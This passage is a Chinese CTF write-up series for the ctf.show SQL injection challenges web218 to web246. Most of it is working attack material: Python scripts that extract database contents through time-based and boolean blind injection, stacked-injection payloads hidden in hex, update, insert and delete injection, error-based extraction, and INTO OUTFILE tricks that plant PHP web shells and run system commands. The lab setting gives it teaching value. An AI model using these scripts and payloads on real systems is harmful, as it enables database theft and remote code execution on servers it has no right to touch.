	# ===================== 配置区 =====================

	url = 'http://e0128c90-5547-45f7-9e77-98236aedee81.challenge.ctf.show/api/' # 目标 URL
	flagstr = 'asdfghjklqwertyuiopzxcvbnm1234567890-_{},' # 可用字符集
	max_len = 50 # 需要爆破的最大长度
	timeout = 0.20 # 请求超时时间（秒）

	# 查数据库
	# query = "select group_concat(table_name) from information_schema.tables where table_schema=database()"

	# 查列名
	# query = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'"

	# 查数据
	query = "select flagaac from ctfshow_flagxc" # 用于爆 flag 的查询

	# ===================== 配置区结束 =====================

	flag = ''

	# 爆破过程
	for i in range(1, max_len + 1):
	found = False # 标记是否找到字符
	for x in flagstr:
	# 构造 payload
	payload = f"if(substr(({query}),{i},1)='{x}',(select count(*) from information_schema.columns A,information_schema.columns B),1)"

	data = {'ip': payload, 'debug': 1} # 将 payload 放入 data 参数

	try:
	# 发送 POST 请求
	res = requests.post(url=url, data=data, timeout=timeout)
	except requests.exceptions.RequestException:
	flag += x # 如果超时则认为是正确字符
	found = True # 找到正确字符

	# 输出当前进度
	print(f"[+] 当前进度: {flag}")
	break

	if not found:
	print("[*] 爆破结束")
	break

	# 输出最终结果
	print(f"\n最终结果: {flag}")

# web219

	开始基于时间盲注


	查询语句
	where id = ($id);


	返回逻辑
	// 屏蔽危险分子
	function waf($str){
	return preg_match('/sleep\|benchmark\|rlike/i',$str);
	}

查看表名

查看字段

查看 flag

	import requests
	import time

	# ===================== 配置区 =====================

	url = 'http://eb3a9157-fffc-4934-8a38-c7313906f92f.challenge.ctf.show/api/' # 目标 URL
	flagstr = 'asdfghjklqwertyuiopzxcvbnm1234567890-_{},' # 可用字符集
	max_len = 50 # 需要爆破的最大长度
	timeout = 0.20 # 请求超时时间（秒）

	# 查数据库
	#query = "select group_concat(table_name) from information_schema.tables where table_schema=database()"

	# 查列名
	query = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxca'"

	# 查数据
	#query = "select flagaabc from ctfshow_flagxca" # 用于爆 flag 的查询

	# ===================== 配置区结束 =====================

	flag = ''

	# 爆破过程
	for i in range(1, max_len + 1):
	found = False # 标记是否找到字符
	for x in flagstr:
	# 构造 payload
	payload = f"if(substr(({query}),{i},1)='{x}',(select count(*) from information_schema.columns A,information_schema.columns B),1)"

	data = {'ip': payload, 'debug': 1} # 将 payload 放入 data 参数

	try:
	# 发送 POST 请求
	res = requests.post(url=url, data=data, timeout=timeout)
	except requests.exceptions.RequestException:
	flag += x # 如果超时则认为是正确字符
	found = True # 找到正确字符

	# 输出当前进度
	print(f"[+] 当前进度: {flag}")
	break

	if not found:
	print("[*] 爆破结束")
	break

	# 输出最终结果
	print(f"\n最终结果: {flag}")

# web220

	开始基于时间盲注


	查询语句
	where id = ($id);


	返回逻辑
	// 屏蔽危险分子
	function waf($str){
	return preg_match('/sleep\|benchmark\|rlike\|ascii\|hex\|concat_ws\|concat\|mid\|substr/i',$str);
	}

substr 用 left 代替

LEFT() 字符串函数

作用：从一个字符串的左边取指定长度的子串。

语法：

LEFT(str, length)

str ：要截取的字符串。
length ：要截取的字符数。

查看 flag

	import requests
	import time
	url = "http://dde5416a-2b12-45b3-92e2-a8eb1b3d91c6.challenge.ctf.show/api/"

	strr = "0123456789abcdefghijklmnopqrstuvwxyz{}-_,"

	# payload = "select table_name from information_schema.tables where table_schema=database() limit 0,1"

	# payload = "select column_name from information_schema.columns where table_name='ctfshow_flagxcac' limit 1,1"

	payload = "select flagaabcc from ctfshow_flagxcac"

	j = 1
	res = ""
	while 1:
	print("------------------------")
	print(j)
	for i in strr:
	res += i
	data = {
	'ip': f"1) or if(left(({payload}),{j}) = '{res}',(select count(*) FROM information_schema.tables A, information_schema.schemata B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G, information_schema.schemata H,information_schema.schemata I),1",
	'debug': '1'
	}
	try:
	r = requests.post(url, data=data, timeout=3)
	time.sleep(0.2)
	res = res[:-1]
	except Exception as e:
	print(res)
	j+=1
	break

# web221

	limit 注入


	查询语句
	// 分页查询
	$sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;


	返回逻辑
	//TODO: 很安全，不需要过滤
	// 拿到数据库名字就算你赢

PROCEDURE ANALYSE() 函数

基本概念

PROCEDURE ANALYSE() 是 MySQL 提供的一个辅助分析工具，
作用是：

当你查询某张表时，它会对结果集进行分析；
返回关于字段类型优化建议的报告；
主要用于数据类型优化，帮助你发现是否用错了类型，或者类型选得太大。

它不是存储过程，而是 MySQL 的一个内置过程。

基本语法

SELECT * FROM 表名 PROCEDURE ANALYSE();

也可以带两个参数：

SELECT * FROM 表名 PROCEDURE ANALYSE(最大元素数, 最大元素长度);

最大元素数 （max_elements）：分析时最多检查多少行（默认 256）。
最大元素长度 （max_memory）：分析字符串时最多检查多少字节（默认 8192）。

用法示例

假设有一张表 users ：

	CREATE TABLE users (
	id INT,
	age INT,
	gender VARCHAR(10),
	email VARCHAR(100)
	);

	INSERT INTO users VALUES
	(1, 18, 'M', 'a@test.com'),
	(2, 20, 'F', 'b@test.com'),
	(3, 25, 'F', 'c@test.com');

执行：

SELECT * FROM users PROCEDURE ANALYSE();

输出结果会像这样（不同版本格式略有差别）：

Field_name	Min_value	Max_value	Min_length	Max_length	Optimal_fieldtype
`users.id`	1	3	1	1	ENUM('1','2','3')
`users.age`	18	25	2	2	TINYINT(2) UNSIGNED
`users.gender`	'F'	'M'	1	1	ENUM('F','M')
`users.email`	...	...	9	9	VARCHAR(100)

解释：

它会统计最小值、最大值、长度范围；
然后推荐一个更合适的数据类型（如 age 其实用 TINYINT 就够了，而不是 INT ）。

作用

检查表设计：帮你发现某些字段类型是否过大。
性能优化：减少存储空间，提高索引效率。
规范化设计：比如发现某字段只出现几个枚举值，建议改成 ENUM 。

extractvalue() 函数

EXTRACTVALUE(xml_frag, xpath_expr)

第一个参数：必须是 合法的 XML 文本字符串（必须是字符串类型，不能是数字、NULL 等）
第二个参数：必须是 合法的 XPath 表达式（必须是字符串，不能为空）

limit 后面可以跟两个函数， procedure 和 into 函数

union 语句中不允许使用 PROCEDURE 子句，因此可以通过报错注入爆出数据库名称

0x7e → 这是十六进制形式，代表字符 ~ ，标识符。

database() → MySQL 内置函数，返回当前数据库名。

concat(0x7e, database()) → 拼接成 "~库名" 。

payload

?page=1&limit=1 procedure analyse(extractvalue(1,concat(0x7e,database())),1)

?page=1&limit=1 procedure analyse(extractvalue(1,concat(0x1e,database())),1)

?page=1&limit=1 procedure analyse(extractvalue(1,concat(0x2e,database())),1)

# web222

	group 注入


	查询语句
	// 分页查询
	$sql = select * from ctfshow_user group by $username;


	返回逻辑
	//TODO: 很安全，不需要过滤

可以在 group by 后面拼接时间盲注

	import requests

	url = "http://c4c7715a-823e-4d36-84ef-9c80139a11a0.challenge.ctf.show/api/"

	#payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"

	#payload = "select column_name from information_schema.columns where table_name='ctfshow_flaga' limit 1,1"

	payload = "select flagaabc from ctfshow_flaga"
	res = ""
	i=0
	while True:
	i=i+1
	start=32
	end=127
	while start<end:
	mid=(start+end)>>1
	params={
	'u':f"1,if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.1),1)"
	}
	try:
	r=requests.get(url,params=params,timeout=0.5)
	end=mid
	except Exception as e:
	start=mid+1
	if start!=32:
	res=res+chr(start)
	else:
	break
	print(res)

# web223

	group 注入


	查询语句
	// 分页查询
	$sql = select * from ctfshow_user group by $username;


	返回逻辑
	//TODO: 很安全，不需要过滤
	// 用户名不能是数字

经过测试，发现正确回显包含特征字符串 "userAUTO"

使用上一题的脚本逻辑，利用 True 绕过数字过滤即可

	import requests

	# 目标 URL
	url = "http://175d306d-7f89-41f8-9b63-8a64a1026d1f.challenge.ctf.show/api/"


	# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"

	# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'"

	payload = "select flagasabc from ctfshow_flagas"

	# 保存爆破出来的结果
	flag = ""
	# 当前要爆破的字符位置
	i = 0

	# ==================== 辅助函数 ====================
	def gettrue(num):
	"""
	绕过过滤数字的情况，用 true 相加代替数字
	"""
	res = 'true'
	if num == 1:
	return res
	else:
	for i in range(num - 1):
	res += "+true"
	return res

	# ==================== 主爆破逻辑 ====================
	while True:
	i = i + 1 # 爆破第 i 个字符

	# ASCII 搜索范围（可打印字符 32~126）
	start = 32
	end = 127

	# 用二分法加速判断
	while start < end:
	mid = (start + end) >> 1 # 取中间值

	# 构造注入参数
	# if(ascii(substr(payload, i, 1)) > mid, username, 'a')
	# 如果大于 mid → 返回 username，页面包含 "userAUTO"
	# 否则 → 返回 'a'，页面不包含 "userAUTO"
	params = {
	'u': f"if(ascii(substr(({payload}),{gettrue(i)},{gettrue(1)}))>{gettrue(mid)},username,'a')"
	}

	# 发送 GET 请求
	r = requests.get(url, params=params)

	# 判断返回结果是否包含特征字符串 "userAUTO"
	if "userAUTO" in r.text:
	start = mid + 1 # ASCII 在更大范围
	else:
	end = mid # ASCII 在更小范围

	# 如果爆破到的字符不是空格 (32)，说明爆破成功
	if start != 32:
	flag = flag + chr(start)
	else:
	break # 爆破到空格 → 认为结束

	# 打印当前进度
	print(flag)

# web224

访问 靶机/robots.txt ，找到密码重置页面

重置密码

重新登录

目标：往服务器写入一个 WebShell

C64File ： Commodore 64 的文件头

Client UrlCache MMF ：Windows 的缓存文件

*PPD-Adobe ：Adobe 打印机描述文件（PostScript）

"'); ：闭合原本的 SQL 语句字符串

0x3c3f3d60245f4745545b315d603f3e ： <?=`$_GET[1]`?>

三种注入

	#shell.bin
	C64File "');select 0x3c3f3d60245f4745545b315d603f3e into outfile '/var/www/html/1.php';--+

	#shell.bin
	Client UrlCache MMF"');select 0x3c3f3d60245f4745545b315d603f3e into outfile '/var/www/html/1.php';--+

	#shell.bin
	*PPD-Adobe: "');select 0x3c3f3d60245f4745545b315d603f3e into outfile '/var/www/html/1.php';--+

将上面内容保存为 .bin 格式文件，选择一个 .bin 上传即可

进行 rce

/1.php?1=ls /

/1.php?1=cat flag

# web225

	堆叠注入提升基础难度


	查询语句
	// 分页查询
	$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";


	返回逻辑
	// 师傅说过滤的越多越好
	if(preg_match('/file\|into\|dump\|union\|select\|update\|delete\|alter\|drop\|create\|describe\|set/i',$username)){
	die(json_encode($ret));
	}

题解一

handler 是 MySQL 的一个特殊语句，作用是直接操作表的存储引擎接口。

handler <表名> open; 表示打开一个表，准备后续操作。

在表打开后，可以用 read 读取数据：

handler <表名> read next; 表示读取这张表的下一条记录。
相当于：

SELECT * FROM ctfshow_flagasa LIMIT 1;

?username=1';show tables;--+

?username=1';show columns from ctfshow_flagasa;--+

?username=1';handler ctfshow_flagasa open;handler ctfshow_flagasa read next;--+

题解二

使用 sql 预处理语句（使用 concat() 拼接 sql 语句来绕过敏感词）

prepare 是 MySQL 的动态 SQL 语法，用于创建一个可执行的语句

execute 执行语句

?username=1'; prepare a from concat('selec',"t group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagasa'");execute a;

?username=1'; prepare a from concat('selec',"t flagas from ctfshow_flagasa");execute a;

# web226

	堆叠注入提升中级难度


	查询语句
	// 分页查询
	$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";


	返回逻辑
	// 师傅说过滤的越多越好
	if(preg_match('/file\|into\|dump\|union\|select\|update\|delete\|alter\|drop\|create\|describe\|set\|show\|\(/i',$username)){
	die(json_encode($ret));
	}

将语句转成十六进制

	select database();
	-->
	0x73656c65637420646174616261736528293b


	select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'
	-->
	0x73656C6563742067726F75705F636F6E636174287461626C655F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C6573207768657265207461626C655F736368656D613D2763746673686F775F77656227


	select group_concat(column_name) from information_schema.columns where table_name='ctfsh_ow_flagas'
	-->
	0x73656C6563742067726F75705F636F6E63617428636F6C756D6E5F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E636F6C756D6E73207768657265207461626C655F6E616D653D2763746673685F6F775F666C6167617327


	select flagasb from ctfsh_ow_flagas
	-->
	0x73656C65637420666C61676173622066726F6D2063746673685F6F775F666C61676173

?username=1';prepare a from 0x73656c65637420646174616261736528293b;execute a;

?username=1';prepare a from 0x73656C6563742067726F75705F636F6E636174287461626C655F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C6573207768657265207461626C655F736368656D613D2763746673686F775F77656227;execute a;

?username=1';prepare a from 0x73656C6563742067726F75705F636F6E63617428636F6C756D6E5F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E636F6C756D6E73207768657265207461626C655F6E616D653D2763746673685F6F775F666C6167617327;execute a;

?username=1';prepare a from 0x73656C65637420666C61676173622066726F6D2063746673685F6F775F666C61676173;execute a;

# web227

	堆叠注入提升高级难度


	查询语句
	// 分页查询
	$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";


	返回逻辑
	// 师傅说过滤的越多越好
	if(preg_match('/file\|into\|dump\|union\|select\|update\|delete\|alter\|drop\|create\|describe\|set\|show\|db\|\,/i',$username)){
	die(json_encode($ret));
	}

表中没有写入 flag，而是把 flag 写在了储存过程和函数中

在 MySQL 中，存储过程和函数的信息存储在 information_schema 数据库下的 Routines 表中

查询语法： select * from information_schema.Routines where ROUTINE_NAME = 'sp_name' ;

其中， ROUTINE_NAME 字段中存储的是存储过程和函数的名称； sp_name 参数表示存储过程或函数的名称。

CALL 是用来调用存储过程（Stored Procedure）的关键字。

存储过程是事先在数据库中定义好的 SQL 逻辑，可以带参数，也可以返回结果。使用 call 可以直接执行这个过程

	select * from information_schema.routines
	-->
	0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573

先查看 information_schema.routines 表下储存过程或函数的名称（在这里已经能看到 flag，属于非预期）

?username=1';prepare a from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;execute a;

调用存储过程

?username=1';call getFlag();

# web228

	堆叠注入提升


	查询语句
	// 分页查询
	$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
	$bansql = "select char from banlist;";


	返回逻辑
	// 师傅说内容太多，就写入数据库保存
	if(count($banlist)>0){
	foreach ($banlist as $char) {
	if(preg_match("/".$char."/i", $username)){
	die(json_encode($ret));
	}
	}
	}

将语句转成十六进制

	select database();
	-->
	0x73656c65637420646174616261736528293b


	select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'
	-->
	0x73656C6563742067726F75705F636F6E636174287461626C655F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C6573207768657265207461626C655F736368656D613D2763746673686F775F77656227


	select group_concat(column_name) from information_schema.columns where table_name='ctfsh_ow_flagasaa'
	-->
	0x73656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d2763746673685f6f775f666c61676173616127


	select flagasba from ctfsh_ow_flagasaa
	-->
	0x73656c65637420666c6167617362612066726f6d2063746673685f6f775f666c616761736161

?username=1';prepare a from 0x73656c65637420646174616261736528293b;execute a;

?username=1';prepare a from 0x73656C6563742067726F75705F636F6E636174287461626C655F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C6573207768657265207461626C655F736368656D613D2763746673686F775F77656227;execute a;

?username=1';prepare a from 0x73656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d2763746673685f6f775f666c61676173616127;execute a;

?username=1';prepare a from 0x73656c65637420666c6167617362612066726f6d2063746673685f6f775f666c616761736161;execute a;

# web229

	堆叠注入提升


	查询语句
	// 分页查询
	$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";


	返回逻辑
	// 师傅说内容太多，就写入数据库保存
	if(count($banlist)>0){
	foreach ($banlist as $char) {
	if(preg_match("/".$char."/i", $username)){
	die(json_encode($ret));
	}
	}
	}

将语句转成十六进制

	select database();
	-->
	0x73656c65637420646174616261736528293b


	select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'
	-->
	0x73656C6563742067726F75705F636F6E636174287461626C655F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C6573207768657265207461626C655F736368656D613D2763746673686F775F77656227


	select group_concat(column_name) from information_schema.columns where table_name='flag'
	-->
	0x73656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d27666c616727


	select flagasba from flag
	-->
	0x73656c65637420666c6167617362612066726f6d20666c6167

?username=1';prepare a from 0x73656c65637420646174616261736528293b;execute a;

?username=1';prepare a from 0x73656C6563742067726F75705F636F6E636174287461626C655F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C6573207768657265207461626C655F736368656D613D2763746673686F775F77656227;execute a;

?username=1';prepare a from 0x73656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d27666c616727;execute a;

?username=1';prepare a from 0x73656c65637420666c6167617362612066726f6d20666c6167;execute a;

# web230

	堆叠注入提升


	查询语句
	// 分页查询
	$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";


	返回逻辑
	// 师傅说内容太多，就写入数据库保存
	if(count($banlist)>0){
	foreach ($banlist as $char) {
	if(preg_match("/".$char."/i", $username)){
	die(json_encode($ret));
	}
	}
	}

将语句转成十六进制

	select database();
	-->
	0x73656c65637420646174616261736528293b


	select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'
	-->
	0x73656C6563742067726F75705F636F6E636174287461626C655F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C6573207768657265207461626C655F736368656D613D2763746673686F775F77656227


	select group_concat(column_name) from information_schema.columns where table_name='flagaabbx'
	-->
	0x73656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d27666c6167616162627827


	select flagasbas from flagaabbx
	-->
	0x73656c65637420666c616761736261732066726f6d20666c61676161626278

?username=1';prepare a from 0x73656c65637420646174616261736528293b;execute a;

?username=1';prepare a from 0x73656C6563742067726F75705F636F6E636174287461626C655F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C6573207768657265207461626C655F736368656D613D2763746673686F775F77656227;execute a;

?username=1';prepare a from 0x73656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d27666c6167616162627827;execute a;

?username=1';prepare a from 0x73656c65637420666c616761736261732066726f6d20666c61676161626278;execute a;

# web231

	update注入


	查询语句
	// 分页查询
	$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";


	返回逻辑
	// 无过滤

password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=1

password=1',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga')#&username=1

password=1',username=(select flagas from ctfshow_web.flaga) where 1=1#&username=1

# web232

	update注入


	查询语句
	// 分页查询
	$sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";


	返回逻辑
	// 无过滤

使用 ) 闭合 MD5 函数

password=1'),username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=1

password=1'),username=(select group_concat(column_name) from information_schema.columns where table_name='flagaa')#&username=1

password=1'),username=(select flagass from ctfshow_web.flagaa) where 1=1#&username=1

# web233

	update注入


	查询语句
	// 分页查询
	$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";


	返回逻辑
	// 无过滤

使用布尔盲注

	import requests

	url = "http://5407b3be-41c1-49b3-bde9-c7e2b000b3bf.challenge.ctf.show/api/"

	#payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"

	#payload = "select group_concat(column_name) from information_schema.columns where table_name='flag233333'"

	payload = "select flagass233 from flag233333"
	flag = ""
	i=0


	while True:
	i=i+1
	start=32
	end=127
	while start<end:
	mid=(start+end)>>1
	data={
	'username':f"1' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.1),1)#",
	'password':'1'
	}
	try:
	r=requests.post(url,data=data,timeout=2)
	end=mid
	except Exception as e:
	start=mid+1
	if start!=32:
	flag=flag+chr(start)
	else:
	break
	print(flag)

# web234

	update注入


	查询语句
	// 分页查询
	$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";


	返回逻辑
	// 无过滤

这一题过滤了单引号 ‘

使用 \' 将会转义成普通字符，因此 password 传入 \ 即可
这样， pass=' where username = ，再传入 username 进行注入，末尾多余的 ‘ 注释处理即可

password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#

由于过滤了单引号，表名转换成十六进制形式表示

password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167323361)#

password=\&username=,username=(select flagass23s3 from flag23a)#

# web235

	update注入


	查询语句
	// 分页查询
	$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";


	返回逻辑
	// 过滤 or '

过滤了 or

information 字符串包含 or ，因此不能使用

mysql.innodb_table_stats

这是 InnoDB 引擎维护的一个系统表，存储 每个表的统计信息。
常见字段：

database_name → 数据库名
table_name → 表名
last_update → 最后更新时间
n_rows → 估算的行数
clustered_index_size → 聚簇索引页数
sum_of_other_index_sizes → 其他索引大小

password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#

password=\&username=,username=(select b from (select 1,2 as b,3 union select * from flag23a1 limit 1,1)a)#

select b from ( ... ) a ：子查询，取别名 a
在 mysql 里，要在 from (子查询) 里面再取数据，必须给子查询一个别名

select 1,2 as b,3 构造一条三列结果集：第一列 = 1，第二列 = 2（起别名 b），第三列 = 3

union select * from flag23a1 limit 1,1 ：取 flag23a1 里的第 2 行

# web236

	update注入


	查询语句
	// 分页查询
	$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";


	返回逻辑
	// 过滤 or ' flag

这一题过滤的 flag ，考察的应该是对查询结果返回的过滤，但是 flag 的格式为 ctfshow{} ，并无影响

password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#

base64 转码

	password=\&username=,username=(select to_base64(b) from (select 1,2 as b,3 union select * from flaga limit 1,1)a)#

	// 实际上不使用 base64 处理也能回显 flag
	password=\&username=,username=(select b from (select 1,2 as b,3 union select * from flaga limit 1,1)a)#

# web237

	insert注入


	查询语句
	// 插入数据
	$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";


	返回逻辑
	// 无过滤

	username=1',(select group_concat(table_name) from information_schema.tables where table_schema=database()));#

	password=1

	username=1',(select group_concat(column_name) from information_schema.columns where table_name='flag'));#

	password=1

	username=1',(select flagass23s3 from flag limit 0,1));#

	password=1

# web238

	insert注入


	查询语句
	// 插入数据
	$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";


	返回逻辑
	// 过滤空格

过滤了空格，且经过测试，使用带 * 的 payload 无法实现成功注入

	username=1',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())));#

	password=1

	username=1',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flagb')));#

	password=1

	username=1',(select(flag)from(flagb)));#

	password=1

# web239

	insert注入


	查询语句
	// 插入数据
	$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";


	返回逻辑
	// 过滤空格 or

	username=1',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())));#

	password=1

	username=1',(select(flag)from(flagbb)));#

	password=1

# web240

	insert注入


	查询语句
	// 插入数据
	$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";


	返回逻辑
	/// 过滤空格 or sys mysql

题目 Hint：表名共 9 位，flag 开头，后五位由 a/b 组成，如 flagabaab，全小写

可以将所有情况都添加进去，最终一定会有一个正确的回显

使用脚本完成添加

	import requests
	url="http://ac7e7d6c-ce76-4839-8978-14c09460b1e9.challenge.ctf.show/api/insert.php"
	for a1 in "ab":
	for a2 in "ab":
	for a3 in "ab":
	for a4 in "ab":
	for a5 in "ab":
	payload="flag"+a1+a2+a3+a4+a5
	data={
	'username':f"1',(select(flag)from({payload})))#",
	'password':'1'
	}
	r=requests.post(url,data=data)

# web241

	delete注入


	sql语句
	// 删除记录
	$sql = "delete from ctfshow_user where id = {$id}";


	返回逻辑
	// 无过滤

	import requests
	import time

	url = 'http://dfd59311-8570-435f-b116-8d9c7ddba7e2.challenge.ctf.show/api/delete.php'
	flag = ''
	i = 0

	while 1:
	i += 1
	head = 32
	tail = 127
	while head < tail:
	mid = (head + tail) >> 1
	# 查库名
	# payload = 'database()'

	# 查表名
	# payload = '(select group_concat(table_name) from information_schema.tables where table_schema=database())'

	# 查列名
	# payload = "(select group_concat(column_name) from information_schema.columns where table_name='flag')"

	# 查 flag
	payload = '(select flag from flag)'

	data = {
	'id':f"if(ascii(substr({payload},{i},1))>{mid},sleep(0.1),0)#"
	}

	try:
	r = requests.post(url=url,data=data,timeout=2.1)
	tail = mid
	except Exception as e:
	head = mid + 1
	time.sleep(1)
	if head != 32:
	flag += chr(head)
	else:
	break
	time.sleep(1)
	print(flag)

# web242

	文件读写


	sql语句
	// 备份表
	$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";


	返回逻辑
	// 无过滤

into outfile 的扩展选项

	[{fields \| columns}
	[terminated by 'string'] -- 列分隔符
	[[optionally] enclosed by 'char'] -- 列值用什么符号包裹
	[escaped by 'char'] -- 转义符
	]
	[lines
	[starting by 'string'] -- 每行开头
	[terminated by 'string'] -- 每行结尾
	]

	“OPTION”参数为可选参数选项，其可能的取值有：

	`FIELDS TERMINATED BY '字符串'`：设置字符串为字段之间的分隔符，可以为单个或多个字符。默认值是“\t”。

	`FIELDS ENCLOSED BY '字符'`：设置字符来括住字段的值，只能为单个字符。默认情况下不使用任何符号。

	`FIELDS OPTIONALLY ENCLOSED BY '字符'`：设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。

	`FIELDS ESCAPED BY '字符'`：设置转义字符，只能为单个字符。默认值为“\”。

	`LINES STARTING BY '字符串'`：设置每行数据开头的字符，可以为单个或多个字符。默认情况下不使用任何字符。

	`LINES TERMINATED BY '字符串'`：设置每行数据结尾的字符，可以为单个或多个字符。默认值是“\n”。

	#GET
	/api/dump.php

	#POST
	filename=1.php' fields terminated by '<?php eval($_REQUEST[1]);?>'#

	#GET
	/dump/1.php

	#POST
	1=system("ls /");

	#GET
	/dump/1.php

	#POST
	1=system("cat /flag.here");

# web243

	文件读写


	sql语句
	// 备份表
	$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";


	返回逻辑
	// 过滤了 php

题解一

使用 .user.ini 文件上传

auto_prepend_file=1.jpg Hex 编码后为 0x6175746f5f70726570656e645f66696c653d312e6a7067

为保证 auto_prepend_file=1.jpg 单独一行，在字符串前后添加 0a 进行换行，最终为 0x0a6175746f5f70726570656e645f66696c653d312e6a70670a

	#GET
	/api/dump.php

	#POST
	filename=.user.ini' lines starting by ';' terminated by 0x0a6175746f5f70726570656e645f66696c653d312e6a70670a;#

	#GET
	/api/dump.php

	#POST
	filename=1.jpg' lines starting by '<?=eval($_POST[1]);?>'#

	#GET
	/dump/index.php

	#POST
	1=system("ls /")

	#GET
	/dump/index.php

	#POST
	1=system("cat /flag.here");

题解二

预估为非预期解

<?php eval($_POST[1]);?> Hex 编码

0x3c3f706870206576616c28245f504f53545b315d293b3f3e

	#GET
	/api/dump.php

	#POST
	filename=file.p\hp' lines starting by 3c3f706870206576616c28245f504f53545b315d293b3f3e#

	#GET
	/dump/file.php

	#POST
	1=system("cat /flag.here");

# web244

	报错注入


	sql语句
	// 备份表
	$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";


	返回逻辑
	// 无过滤

extractvalue(目标xml文档，xml路径) : 对 XML 文档进行查询的函数

updatexml(目标xml文档，xml路径，更新的内容) : 更新 xml 文档的函数

对于 updatexml(xml_target, xpath_expr, new_value) ，如果 xpath 表达式不合法，mysql 会报错

错误信息里会把拼进去的字符串显示出来

如果 xpath 开头是字母，mysql 会把它尝试解析为 xpath 路径，因此在前面添加 1 用来强制制造错误，保证结果一定出现在报错信息里

/api/?id=' or updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+

/api/?id=' or updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag')),1)--+

right(str, n)

作用：取字符串 右边 n 个字符

由于报错信息长度有限，所以选择分段读取)

	/api/?id=' or updatexml(1,(select left(flag,15) from ctfshow_flag limit 0,1),1)--+
	/api/?id=' or updatexml(1,(select right(flag,35) from ctfshow_flag limit 0,1),1)--+

# web245

	报错注入


	sql语句
	// 备份表
	$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";


	返回逻辑
	// 无过滤
	过滤updatexml

/api?id=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())));--+

/api?id=1' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa')));--+

	/api?id=1' or extractvalue(1,concat(0x7e,(select left(flag1,20) from ctfshow_flagsa)));--+
	/api?id=1' or extractvalue(1,concat(0x7e,(select right(flag1,30) from ctfshow_flagsa)));--+

# web246

	报错注入


	sql语句
	// 备份表
